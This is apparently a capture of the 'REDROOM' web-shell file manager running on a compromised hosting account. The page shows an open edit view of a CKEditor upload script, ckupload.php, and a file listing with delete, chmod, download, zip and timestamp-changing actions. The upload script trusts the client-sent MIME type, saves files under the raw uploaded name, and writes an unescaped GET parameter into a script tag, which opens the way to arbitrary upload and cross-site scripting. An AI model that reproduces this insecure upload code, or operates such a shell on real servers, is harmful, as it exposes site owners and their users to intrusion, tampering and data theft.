REDROOM
PHP 8.1.33
Path:
Logout
Edit File
Size: 1.51 KB
Close
/home/jambtst2015/public_html/serverfile/ckupload.php
Text
Base64
<?php $url = '../uploads/questionimages/'.time()."_".$_FILES['upload']['name']; //$url = 'E:\wamp\www\kcue\uploads\questionimages'.time()."_".$_FILES['upload']['name']; //extensive suitability check before doing anything with the file… if (($_FILES['upload'] == "none") OR (empty($_FILES['upload']['name'])) ) { $message = "No file uploaded."; } else if ($_FILES['upload']["size"] == 0) { $message = "The file is of zero length."; } else if (($_FILES['upload']["type"] != "image/pjpeg") AND ($_FILES['upload']["type"] != "image/jpeg") AND ($_FILES['upload']["type"] != "image/png")) { $message = "The image must be in either JPG or PNG format. Please upload a JPG or PNG instead."; } else if (!is_uploaded_file($_FILES['upload']["tmp_name"])) { $message = "You may be attempting to hack our server. We're on to you; expect a knock on the door sometime soon."; } else { $message = ""; $move = @ move_uploaded_file($_FILES['upload']['tmp_name'], $url); if(!$move) { $message = "Error moving uploaded file. Check the script is granted Read/Write/Modify permissions."; } //$url = "../" . $url; $url = str_replace('../', 'http://giraffeng.com/', $url); //$url ='E:/wamp/www/kcue/'.time()."_".$_FILES['upload']['name']; } $funcNum = $_GET['CKEditorFuncNum'] ; echo "<script type='text/javascript'>window.parent.CKEDITOR.tools.callFunction($funcNum, '$url', '$message');</script>"; ?>
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 9
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
.htaccess
81 B
lr--r--r--
2024-12-09 06:09:12
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
about.php
65.71 KB
lr--r--r--
2023-09-13 06:09:12
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ckupload.php
1.51 KB
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
config.js
813 B
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
27.90 KB
lrw-r--r--
2025-11-03 08:35:04
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
imageCapture.php
471 B
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
main.php
2.85 KB
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
main_03_07_14.php
2.81 KB
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
WebadminController.php
32.77 KB
lrw-r--r--
2024-11-22 17:53:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).